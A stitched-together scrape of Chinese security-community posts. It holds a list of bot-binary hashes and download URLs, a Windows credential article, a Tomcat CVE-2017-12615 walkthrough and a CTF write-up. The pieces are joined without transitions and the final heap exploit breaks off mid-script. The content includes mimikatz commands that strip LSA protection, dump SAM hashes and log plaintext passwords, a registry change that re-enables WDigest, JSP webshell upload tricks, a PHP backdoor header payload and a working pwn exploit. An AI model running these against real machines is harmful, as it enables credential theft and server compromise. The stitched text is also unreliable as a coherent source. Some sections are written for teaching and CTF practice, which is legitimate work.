f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le
99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl
99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le
e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7
e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le
f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm
f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le
656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le
31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le
426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le
44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le
476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le
bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le
e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r
审核人：yiwang 编辑：边边 | 社区文章 |
# Windows凭证机制浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在实际渗透中，我们大部分时间都在于对Windows主机系统进行对抗，主机凭证获取是我们横向移动过程中不可或缺的一部分，除了使用凭证抓取工具以外，理论部分的学习将加深我们对凭证获取的理解。本文将从Windows凭证机制原理部分开始一步步进行讲解。
## 0x01 原理解析
### 一、Windows用户相关知识：
1.Windows内置账户：
* Administrators 组内的用户，都具备系统管理员的权限，他们拥有对这台计算机最大的控制权，可以执行整台计算机的管理人无。内置的系统管理员账号Administrator就是本地组的成员，而且无法将他从组删除，如果这台计算机已加入域，则域的Domain Admins会自动地加入到该计算机的Administrators组内，也就是说，域上的系统管理员在这台计算机上也具备着系统管理员的权限。
* Guests 组是提供给没有用户账户但是需要访问本地计算机内资源的用户使用（Guests账户激活），该组的成员无法永久地改变其桌面的工作环境。该组最长远的默认成员为用户账号Guest。
* Power Users 组内的用户具备比Users组更多的权利，但是比Administrators组拥有的权利更少一些，例如可以：创建、删除、更改本地用户账户；创建、删除、管理本地计算机内的共享文件夹与共享打印机；自定义系统设置，例如更改计算机时间、关闭计算机等。但是不可以更改Administrators，无法多去文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审查日志。
* Users 组内的成员只拥有一些基本的权利，例如运行应用程序，但是他们不能修改操作系统的设置、不能更改其他用户的数据、不能关闭服务器级的计算机。所有添加到本地用户账户者自动属于Users组。如果这台计算机已经加入域。则域的Domain Users会自动加入到该计算机的Users组内
* Remote Desktop Users 组内成员拥有远程桌面登陆的权限。默认Administrators组内的成员都拥有远程桌面的权利。
2.Windows内置组：
* Administrators
* Guests
* Power Users
* Users
* Remote Desktop Users
3.UAC 用户账户控制(User Account Control)：
* 特征：完整性级别被设置为中
* 命令：`whoami /priv` 或者 `whoami /all`
4.安全描述符(Security descriptor)：
当一个对象被创建时，系统将为其分配安全描述符，安全描述符包含了该对象的属主对该对象 **所配置的一些安全属性和策略**
，安全描述分为四部分组成，我们的着重关注这个 **SID** ,下面会详细讲解。
* SID（表示该对象拥有的SID）
* DACL（该对象的访问控制策略）
* SACL（该对象的访问行为的审计策略）
* Flag（其他标志信息）
下图的图表示当某程序试图访问某个安全对象时，系统是如何检测的：系统会检测Object的DACL列表，
根据当前进程的Token，判断当前进程（线程）是否允许访问该Object。
### 二、Windwos session、Windows Station解析：
1.Session：
* 本地登录
* 远程登陆
从Windows XP开始每次登录终端才会创建一个Session，Windows Vista后所有的服务程序都运行在Session
0，其他终端会依次运行在Session 1，Session 2。
2.Logon Session：
包含System登陆、网络登陆以及活动登陆（139、445登陆）
3.Windows Station：
* Windows Station：每个Windows Station对应一个Logon Session，也就是说通过Windows Station把不同的账号进行隔离，防止他们相互影响。 **一个终端登录Session可以有多个Windows Station ，但只能有一个可交互的活动Windows Station，也就是Winsta0** 。
* Desktop：每个Windows Station可以创建多个Desktop，我们平时和3个Desktop打交道比较多(Winlogon，Disconnect，Default)，他们分别代表登录桌面，屏保桌面和我们工作的桌面。
下面的图表示了Session，Windows Station和Desktop的关系
### 三、Windows Token、Windows Acess Token、SID解析：
1.Windows Token:
* Windows安全模型中，有两个角色，一个是访问者（进程），一个是被访问者（资源）
* 所谓的资源可以是文件，目录，注册表，管道，命名句柄，进程线程
* 每个资源都有一个安全描述符，安全描述符当中包含了ACL（ACE）（访问控制列表）
* 访问控制列表中每条规则（ACE）都对应记录着一个SID被允许和拒绝的操作（读、写、执行）
* 访问者为了访问某一个资源，显然也需要一个身份的认证
2.Windows Access Token：
Windows Access Token（访问令牌，）他是一个描述进程或者线程安全上下文的一个对象。 **不同的用户登录计算机后，都会生成一个Access
Token**
，这个Token在用户创建进程或者线程时会被使用，不断的拷贝，这就解释了A用户创建一个进程而该进程没有B用户的权限。当用户注释后，系统将会使主令牌切换为模拟令牌，不会将令牌清除，只会在重启机器后才会清除。
Access Token分为两种(主令牌、模拟令牌)
* 授权令牌(Delegation token)：交互式会话登陆(例：本地用户登陆、用户桌面等….)
* 模拟令牌(lmpersonation token)：非交互式登陆(例：net user、访问共享文件)
* 用户双击运行一个程序都会拷贝“explorer.exe”的Access Token
* 用户注销后系统将会使主令牌切换到模拟令牌，不会将令牌清除，只会在重启机器后才会清除
3.Windows Access Token分类：
* 交互式登陆（console、RDP、Psexec）
* 网络登陆（Wmi、Winrm）
4.Windows Acess Token组成:
* 用户账户的安全标识符(SID)
* 用户所属的组的SID
* 用户标识当前登录会话的登陆SID
* 用户或用户组锁拥有的权限列表
* 所有者SID
* 主要组的SID
* 访问控制列表(DACL中的ACE)
* 访问令牌的来源
* 令牌是主要令牌还是模拟令牌
* 限制SID的可选列表
* 目前的模拟等级
* 其他统计数据
5.SID(安全标识符)
安全标识符是一个唯一的字符串，用户标识该用户账号以及所属的用户组。 **系统在用户请求访问某些对象时，通过提供的访问令牌来确认是否具有对应的访问权限** 。
通常他还有一个SID固定列表，SID表现形式：
* 域SID——用户ID
* 计算机SID——用户ID
6.常见的SID：
* 500（Administrator）
* 501（Guest）
* 502（Krbtgt）
* 512（Domain Admins）
* 513（Domain Users）
* 515（Domain Computers）
* 516（Domain Controllers）
* 519（Enterprise Admins）
7.Windows Access Token产生过程：
Token和进程相关联，每个进程创建时都会根据Logon Session权限由LSA（Local Security
Authority）分配一个Token(如果CreateProcess时自己指定了Token，LSA会用该Token，否则就用父进程Token的一份拷贝，由于大部分进程都是由Explorer.exe创建，所以我们大部分时候都复制了explorer.exe的Token），里面含有该进程的安全信息，包括用户账号，组信息，权限信息和默认安全描述符(Security
Descriptor)。
### 四、SAM解析：
1.注册表解析：
* HKLM\SAM： 包含用户密码的NTLMv2哈希值
* HKLM\security:包含缓存的域记录LSA secrets/LSA密钥
* HKLM\system-aka SYSKEY：包含可用于加密LSA secret和SAM数据库的密钥
2.syskey解析：
syskey的由来：
读取注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的键值JD、Skew1、GBG和Data中的内容，然后拼接成syskey
syskey的作用：
Syskey中的加密的是账号数据库，也就是位于%SystemRoot%\system32\config的SAM文件
3.SAM文件
SAM(安全账户管理器)，SAM用来存储Windows操作系统密码的数据库文件，为了避免明文密码泄露，SAM文件中保存的是明文密码经过一系列算法处理过的Hash值，被保存的Hash分为
**LM Hash（现已废弃）、NTLMHash（长度32bit由字母数字组成）**
。在用户在本地或者远程登陆系统时，会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中，SAM文件中被保存的密码Hash都被密钥SYSKEY加密。
* SAM文件在磁盘中的位置在：C:\windows\system32\config\sam
* SAM文件在Windows系统启动后被系统锁定，无法进行移动和复制
* SAM就是用来存放用户密码、Internet Explorer密码，服务账号密码、SQL密码、系统账户密码、配置的计划任务账户密码。
### 五、Lsass进程解析：
本地安全管理局子系统服务(LSASS)是Microsoft
Windows操作系统中的一个进程，负责在系统上强制执行安全策略。它验证用户登录到Windows计算机或服务器、处理密码更改、创建访问令牌等。我们常说的dump
lsass 就是对转存Lsass进程中的明文登陆密码。
### 六、SSP解析：
* 安全支持提供程序(SSP)
* 安全支持提供程序接口(SSPI) 应用程序和底层API交互
SSP是Windows定义的一套接口，此接口定义了与安全有关的功能函数，用来获取验证、信息完整性、信息隐私等安全功能，就是定义了一套接口函数用来身份验证，签名等，SSP（Security
Support Provider）包含：
* Kerberos Security Support Provider
* NTML Security Support Provider
* Digest Security Support Provider
* Schannel Security Support Provider
* Negotiate Security Support Provider
* Credential Security Support Provider
* Negotiate Extensions Security Support Provider
* PKU2U Secruity Support Provider
如下图：
* MSV（Terminal Server认证（RDSH））
* tspkg（NTML认证）
* **wdigest（摘要认证） 用的比较多提取明文密码**
* Kerberos（Kerberos认证）
### 七、LM Hash和NTLM hash简述：
Windows系统为了保证用户明文密码不会被泄漏，将密码转换为HASH值进行身份验证，被保存在SAM或者ntds.dit中（可以使用 mimitakz
抓取），域中的所有账号密码存放在Ntds.dit，如果拿到，相当于拿到整个域权限.Windows Hash 又分为LM Hash 和 NTLM
Hash，这里我们着重说一下 **NTLM Hash** 。
1.LM Hash（已弃用）：
LM hash 因为区分大小写，密码最长为14位，使用DES进行加密，加密强度较弱，如果是14位密码，可被分开破解，所以LM Hash被弃用，NTLM
_Hash_ 被用来进行 _Windows_ 本地及远程身份验证的凭据。
2.NTLM Hash：
NTLM Hash生成原理的三步骤：
* hex（16进制编码）
* Unicode编码（ASCII转Unicode）
* MD4加密得到NTLM Hash
3.示例：
Windows系统下的hash密码格式为：用户名称:RID:LM-HASH值:NT-HASH值，例如：
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC
用户名称为：Administrator
ID为：500
LM-HASH值为：C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为：683020925C5D8569C23AA724774CE6CC
### 八、Windows本地认证和网络认证简述：
1.windows 本地认证原理：
注销或开机后：弹出输入账号密码的界面，用于接受用户输入 （实际会有个本地进程：winlogon.exe进程，用于管理用户的登陆和退出）。
* 进程（1）：winlogon.exe进程，将账号密码给lsass.exe进程进行处理，并将密码缓存在进程中；
* 进程（2）：lsass.exe进程，将密码转换为NTML HASH，读取SAM数据库与用户名进行比较；
* 若比较结果相同，则将User SID与Group SID发给winlogon.exe，并准备登陆界面；若比较结果不同，则登陆失败。
2.Windows 网络认证原理：
* 工作组的环境是一个逻辑上的网络环境（工作区），隶属于工作组的机器之间无法互相建立一个完美的信任机制，只能点对点，是较为落后的认证方式，没有信托机构。
* 假设A主机与B主机在一个工作主组环境，A想要访问B主机上的资源，需要将一个存在于B主机上的账户凭证发送至B主机，经过认证才能访问B主机上的资源。传输数据由协议来规范数据如何传递，最常见的服务：SMB服务 端口445。
3.windows 本地认证流程
Windows 本地认证 挑战和响应机制（NTLM v2）
**第一步：协商：**
确定协议版本是v1还是v2
**第二步：质询：**
（1）服务器判断用户是否存在：
客户端向服务器端发送用户主机信息（必须包含用户名），服务器用客户端请求的用户名来判断服务器内是否有这个用户；
若没有这个用户，那么认证过程就是失败的；若有，则继续：
（2）服务器生成16位Challenge：
服务器接受到请求之后生成一个16位随机数Challenge，服务器使用登录用户名对应的NTLM HASH；
（3）服务器生成Net NTLM HASH：
服务器用本机SAM文件数据库内NTLM HASH 加密 16位随机数 Challenge生成Challenge1 即“Net NTLM HASH”；
（4）服务器返回16位Challenge：
服务器将之前生成的16位随机数Challenge再发送给客户端；
（5）客户端生成Response：
客户端接受到Challenge之后，使用将要登陆到账户对应的NTLM HASH加密Challenge生成Response，然后将Response发送到服务端
；
**第三步：验证：**
（6）服务端比对Response是否等于Net NTLM HASH：
比对服务器端收到客户端的Response后，比对NET NTLM HASH与Response是否相等，相等则通过。
### 九、Kerberos 协议简述：
Kerberos实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意的读取、修改和插入数据。作为一种可信任的第三方认证服务，是通过传统的密码技术执行认证服务的（如：共享密钥）。
**常见端口：**
TCP和UDP的88端口：身份验证和票证授予
TCP和UDP的464端口：经典的Kerberos Kpasswd（密码重设）协议
LDAP：389、636
**Kerberos认证名词：**
* AS：身份认证服务（验证Client身份）
* KDC：密钥分发中心（域控制器）
* TGT：用来进行认证的认证票据
* TGS：票据授权服务
* ST：访问服务的票据
* Krbtgt：每个域内都有krbtgt账户，此账户是KDC的服务账户用来创建TGT
* Principal：认证主体
* PAC：特权属性证书
* Session Key /Short-term Key（短期会话密钥)
* Server Session Key（短期密钥)
**认证流程（此处是简述过程，方便理解）：**
Client-A（客户端）、Server-B（服务端）、KDC（域控制器）
（1）Client请求域控制器(KDC)的身份认服务(AS)拿到认证票据(TGT)
（2）Client拿着认证票据(TGT)去请求与控制器(KDC)的票据授权(TGS)服务拿到访问服务的票据（ST）
（3）client拿着用于访问服务的票据(ST)去访问Server，然后完成整个过程
如图：
## 0x02 Windows保护机制浅谈以及bypass
### 一、LSA Protection（LSA保护）：
自Windows 8.1 开始为LSA提供了额外的保护（LSA
Protection），以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA
Protection保护模式下，mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。
注册表位置开启LSA保护，然后重启系统生效。
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
测试环境：此处目标机是Windows 10 x64
1.验证目标机器是否开启了LSA保护，此处可以看到目标主机开启了LSA保护：
查看系统日志，事件id为12-LSASS.exe作为受保护的进程启动：
2.LSA Protection运行下的sekurlsa::logonpasswords：
在开启LSA Protection保护时，mimikatz运行 sekurlsa::logonpasswords会报错 “ERROR
kuhl_m_sekurlsa_acquireLSA；Handle on memery”
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
3.bypass 方法1：
mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据，可成功pypass LSA Protection，读取到用户哈希
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
4.bypass 方法2：
mimikatz其中的mimidrv.sys驱动程序，可从lsass.exe进程中删除LSA保护，成功pypass LSA 保护。
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords
此处遇到一个坑，这里报错`ERROR kuhl_m_sekurlsa_acquireLSA ; Key import` 而且在1908
2004版本上均会出现此错误，最新版的mimikatz也会出现错误，这里的解决办法是用老版本的mimikatz（此处注意我使用的mimikatz的版本号）
### 二、Credential Guard（虚拟化保护）
在Windows 10和Windows Server 2016中，Microsoft启用Credential
Guard（凭据防护），使用基于虚拟化技术来保护和隔离lsass进程，以保护凭证。启用Credential
Guard后，lsass包含2个进程：正常LSA进程和隔离LSA进程（在VSM中运行）
测试环境：此处目标机是Windows 10 x64
1.开启Credential Guard 保护：
在组策略管理控制台中，在”计算机配置” -> “管理模板” -> “系统” -> “Device
Guard”，打开”打开基于虚拟化的安全”，选择”已启用”；
在”选择平台安全级别”框中，选择”安全启动”或”安全启动和DMA保护”；
在”凭据保护配置”框中，选择”使用UEFI锁启用”。
运行gpupdate /force 强制执行组策略
验证Windows Defender Credential Guard是否运行：
输入msinfo32.exe，在 ”系统摘要”-> ”已配置基于虚拟化的安全服务”处，可看到显示”Credential Guard”
2.Credential Guard运行下的sekurlsa::logonpasswords
在开启Credential Guard后， 运行 mimikatz
`sekurlsa::logonpasswords`，可以抓到部分用户哈希，但是存在缺陷：抓取到的用户不全，有遗漏，抓不到密码明文
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
只抓取其中一个用户jerry的哈希，缺失了用户jerry2，并且没有了之前的明文：
3.bypass方法1
mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据，可成功bypass Credential Guard，读取到全部的用户哈希
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
新增抓到了用户jerry2的哈希：
4.bypass方法2
SSP在用户登录时被调用，并接收该用户的凭据。在系统启动时SSP会被加载到进程lsass.exe中。
Mimikatz可通过内存安装自定义的ssp，修改lsass进程的内存，实现从lsass进程中提取凭据，mimikatz执行`misc::memssp`后，可以通过锁屏后重新登录来抓取，将会在c:\windows\system32下生成文件mimilsa.log，其中保存有用户明文密码。
mimikatz # privilege::debug
mimikatz # misc::memssp
锁屏命令：`rundll32.exe user32.dll LockWorkStation`
锁屏后，重新登陆，成功记录到用户密码明文：
此外还可以尝试mimikatz的 `lsadump::secrets` 从注册表中获取syskey信息来解密，从而bypass LSA
Protection和Credential Guard。
### 三、kb2871997补丁
kb2871997主要用来防止pth攻击，限制了两个sid（kb2871997会删除除了*wdigest
ssp以外其他ssp的明文凭据，但对于wdigest ssp只能选择禁用）
* S-1-5-1 13(NT AUTHORITY Local account) 账户
* S-1-5-1 14(NT AUTHORITY Administrators)账户和管理员组的成员
* 可以通过组策略使用这些sid来有效地阻止远程登录使用所有本地管理帐户
bypass方法：
1.修改注册表实现，需要重启：
`reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f`
2.锁屏实现：
rundll32.exe user32.dll LockWorkStation
3.使用截屏、键盘记录等后渗透功能，一般都要到对应用户的空间下操作
//cs
desktop [explorer pid] x86|x64 low |higt
//msf
migrate [explorer pid]
screenshot
## 0x04 小结
简单总结一下就是如下：
1.主要是获取内存文件lsass.exe进程中存储的明文登陆密码
2.关于一些抓hash的工具，主要是利用了windows自带的mimidump接口，进行dump文件
3.在win10或者2012R2以上的系统中，默认在内存缓存中禁止保存明文密码，密码字段显示为null，此时我们要获取明文，就需要修改注册表、强制锁屏、等待目标系统管理员重新登陆或者使用键盘记录，我们才能抓取到明文密码
4.在实际渗透环境中，我们着重要考虑的是目标系统的系统版本，然后针对性的去抓系统的hash，切记一定要做好免杀处理，不然上传直接被秒
**注** ：必须是拿到了admin权限的cmd,有UAC必须先bypass
UAC，必须是管理员用密码登陆机器，并运行了lsass.exe进程，把密码保存在内存文件的lsass进程中。
## 0x05参考链接
<https://www.anquanke.com/post/id/175364>
<https://www.cnblogs.com/bmjoker/p/10723432.html>
<http://saucer-man.com/information_security/443.html>
<https://xz.aliyun.com/t/6943> | 社区文章 |
# **1\. 引言**
这是一个关于任意文件上传的漏洞，在tomcat中启用put方法会导致任意文件可以上传，从而导致服务器权限被获取。
# **2\. 漏洞介绍**
2017年9月19日，Apache
Tomcat官方确认并修复了两个高危漏洞，其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows
主机上，且启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为
false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP
的webshell文件，JSP文件中的恶意代码将能被服务器执行，导致服务器上的数据泄露或获取服务器权限。
**漏洞危害：** 泄露用户代码数据，或用户服务器被攻击者控制。
**影响范围：** Apache Tomcat 7.0.0 – 7.0.79
# **3\. 环境搭建**
测试环境： **windows 10**
**Tomcat 7.0.56** （Tomcat服务器是一个免费的开放源代码的Web应用服务器。）
**Jdk 1.8.0**
使用工具：Firefox ，burpsuit v1.7.36，
**Firefox:** 自由及开放源代码网页浏览器。
**Burp Suite:** 用于攻击web应用程序的集成平台，包含了许多工具。Burp Suite为这些工具设计了许多接口，
以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。在一个工具处理HTTP请求和响应时，它可以选择调用其他任意的Burp工具。
# **4\. 漏洞代码分析**
通过阅读conf/web.xml文件，可以发现：默认 readonly为true，禁止HTTP进行PUT和DELTE类型请求:
当web.xml中readonly设置为false时可以通过PUT/DELETE进行文件操控，漏洞就会触发。
这个CVE漏洞涉及到
DefaultServlet，DefaultServlet作用是处理静态文件，同时DefaultServlet可以处理PUT或DELETE请求，默认配置如图2：
可以看出即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件，因为后端都用org.apache.catalina.servlets.JspServlet来处理jsp或是jspx后缀的请求，而JspServlet负责处理所有JSP和JPSX类型的动态请求，从代码没有发现处理HTTP
PUT类型的操作, 所以可知PUT以及DELTE等HTTP操作由DefautServelt实现。因此，就算我们构造请求直接上传JSP
webshell显然是不会成功的。该漏洞实际上是利用了windows下文件名解析的漏洞来触发的。根本是通过构造特殊后缀名，绕过Tomcat检测，让Tomcat用DefaultServlet的逻辑处理请求，从而上传jsp
webshell文件。
**具体来说，主要有三种方法：**
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
本次测试，使用第一种方法，可成功实现上传，并取得WebShell。
# **5\. 漏洞复现**
根据描述，在Windows服务器下，将readonly参数设置为false时，即可通过PUT方式创建一个JSP文件，并可以执行任意代码。
Tomcat7中readonly默认值为true，手动将其改为false，在conf/web.xml中手动添加红色方框类内容，如图3：
设置完成后，启动Tomcat，利用PUT请求创建文件。
构造webshell请求，使用burpsuite抓包，如图4：
使用burpsuite发送构造的webshell，如图5：
提示404，请求测试结果表明了猜测结论是正确的。JspServlet负责处理所有JSP和JPSX类型的动态请求，不能够处理PUT方法类型的请求。
利用文件解析漏洞采用PUT方式上传jsp
webshell文件。其中文件名设为/shell.jsp%20。（如果文件名后缀是空格那么将会被tomcat给过滤掉。）如图6：
发送成功后在 **webapps/root** 发现文件shell.jsp,说明漏洞复现成功。如图7：
访问发现可以正常输出，如图8：
# **6\. 修复方案**
1、配置readonly值为True或注释参数，禁止使用PUT方法并重启tomcat。
注意：如果禁用PUT方法，对于依赖PUT方法的应用，可能导致业务失效。
2、根据官方补丁升级最新版本。 | 社区文章 |
# 虎符网络安全技能大赛wp By fr3e
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是fr3e战队队长[now4yreal](https://github.com/now4yreal)，上周和好ji友们还有学弟学妹们一起玩了虎符的比赛，赛题质量很高，给主办方点赞。
最后排名第四，给前面三支队伍还有天枢、redbud、0ops等战队的各位大佬倒茶，大佬们太强了。战队内的学弟们（init、dem0、4ndy等等）还有好ji友[wi1l](https://github.com/Wi1L-Y)太强了，我全程躺，感谢大家陪我玩。
在这里公开wp，希望和大佬们交流 （整理仓促，大佬们轻喷，有问题联系我 （逃 :p
## web1||solved
User-Agentt: zerodiumsystem(‘cat /flag’); Connection: close
## web2||solved
直接穿这个a，闭合。ENV%0a);phpinfo();%0aecho(1
## pwn1 apollo || Solved
思路
首先走地图溢出导致可以越界写到最先申请的heap 的
size，之后多次调用函数修改size到0x81,可以overlap,之后利用tcache实现任意地址读写，最后打free_hook
exp
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
# prog = 'start.sh'
#elf = ELF(prog)
# p = process(["qemu-aarch64","-g","1234","-L",".","./apollo"])#,env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("./libc-2.27.so")
p = remote("8.140.179.11", 13422)
# p = process(["qemu-aarch64","-L",".","./apollo"])#,env={"LD_PRELOAD":"./libc-2.27.so"})
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def exp():
# raw_input()
# debug([0x4000002510,0])
ru("cmd> ")#qword_14078
# raw_input()
cmd = ""
#-----------------------------calloc and set
cmd += "\x4d"
cmd += "\x10\x10" #0x90 0x88 都分配0x100
# cmd+= "\x4d"
#---------------------------- add 18 heap
cmd+= "\x2a\x01\x04"#idx
cmd+= "\x10\x00"#size = 0x60
# cmd += add(cmd,0,0x60)
cmd+= "\x2a\x01\x05"#idx
cmd+= "\x20\x00"#size = 0x60
# cmd += add(cmd,0,0x60)
cmd+= "\x2a\x01\x06"#idx
cmd+= "\x20\x00"#size = 0x60
# cmd += add(cmd,0,0x60)
cmd+= "\x2a\x01\x07"#idx
cmd+= "\x20\x00"#size = 0x60
# cmd += add(cmd,0,0x60)
#---------------------------- add 1 heap
# cmd += add(cmd,1,0x60)
cmd+= "\x2a\x00\x01"#idx
cmd+= "\x10\x00"#size = 0x60
#---------------------------- add 3 heap
# cmd += add(cmd,1,0x60)
cmd+= "\x2a\x00\x03"#idx
cmd+= "\x10\x00"#size = 0x60
#---------------------------- add 5 heap
# cmd += add(cmd,1,0x60)
cmd+= "\x2a\x00\x05"#idx
cmd+= "\x10\x00"#size = 0x60
# #---------------------------- add 7 heap
# # cmd += add(cmd,1,0x60)
cmd+= "\x2a\x00\x07"#idx
cmd+= "\x10\x00"#size = 0x60
# #---------------------------- add 9 heap
# # cmd += add(cmd,1,0x60)
# cmd+= "\x2a\x00\x09"#idx
# cmd+= "\x10\x00"#size = 0x60
# #---------------------------- add b heap
# # cmd += add(cmd,1,0x60)
# cmd+= "\x2a\x00\x0b"#idx
# cmd+= "\x10\x00"#size = 0x60
# #---------------------------- add d heap
# # cmd += add(cmd,1,0x60)
# cmd+= "\x2a\x00\x0d"#idx
# cmd+= "\x10\x00"#size = 0x60
#---------------------------- add
# cmd += add(cmd,1,0x60)
cmd+= "\x2a\x01\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x03\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x05\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x07\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x09\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x0b\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x0d\x08"#idx
cmd+= "\x10\x00"#size = 0x60
cmd+= "\x2a\x0f\x08"#idx
cmd+= "\x10\x00"#size = 0x60
#-----------------------------delete
cmd+="\x2f\x00\x01"
cmd+="\x2f\x00\x03"
cmd+="\x2f\x00\x05"
cmd+="\x2f\x00\x07"
# cmd+="\x2f\x00\x09"
# cmd+="\x2f\x00\x0b"
# cmd+="\x2f\x00\x0d"
cmd+="\x2f\x01\x08"
cmd+="\x2f\x03\x08"
cmd+="\x2f\x05\x08"
cmd+="\x2f\x07\x08"
cmd+="\x2f\x09\x08"
cmd+="\x2f\x0b\x08"
cmd+="\x2f\x0d\x08"
cmd+="\x2f\x0f\x08"
# # cmd+="\x2f\x00\x01"
# #-----------------------------set flag
cmd +="\x2b\x00\x01\x03" #idx 1
cmd +="\x2b\x00\x03\x03" # idx 3
cmd +="\x2b\x00\x05\x03" # idx 5
cmd +="\x2b\x00\x07\x03" # idx 7
# cmd +="\x2b\x00\x09\x03" # idx 9
# cmd +="\x2b\x00\x0b\x03" # idx b
# cmd +="\x2b\x00\x0d\x03" # idx d
cmd +="\x2b\x01\x08\x03" #
cmd +="\x2b\x03\x08\x03" #
cmd +="\x2b\x05\x08\x03" #
cmd +="\x2b\x07\x08\x03" #
cmd +="\x2b\x09\x08\x03" #
cmd +="\x2b\x0b\x08\x03" #
cmd +="\x2b\x0d\x08\x03" #
cmd +="\x2b\x0f\x08\x03" #
for i in range(4):
cmd+="\x64"
for i in range(0x81-4+1):
cmd += "\x73"
# cmd += "\x73"
#--------------------------------------ovlap ok
# cmd+= "\x2a\x01\x05"#idx
# cmd+= "\x20\x00"#size = 0x60
# # cmd += add(cmd,0,0x60)
cmd+="\x2f\x01\x05" # delete heap do2
cmd+="\x2f\x01\x04" # delete heap do1
cmd+= "\x2a\x01\x04"#idx
cmd+= "\x70\x00"#
#--------------------------------------leak
cmd+= "\x2a\x01\x09"#idx
cmd+= "\x20\x00"#
cmd+= "\x2a\x01\x0a"#idx
cmd+= "\x20\x00"#
# # #--------------------------- 1620
# cmd+= '\x70'
# cmd+="\x2f\x01\x0a" # delete heap do1
# cmd += "\x61"
cmd+= '\x70'
cmd+="\x2f\x01\x09"
s(cmd)
for i in range(8):
sleep(0.5)
s('/bin/sh\x00')
for i in range(8):
sleep(0.5)
s('/bin/sh\x00')
# sleep(0.5)
# s()
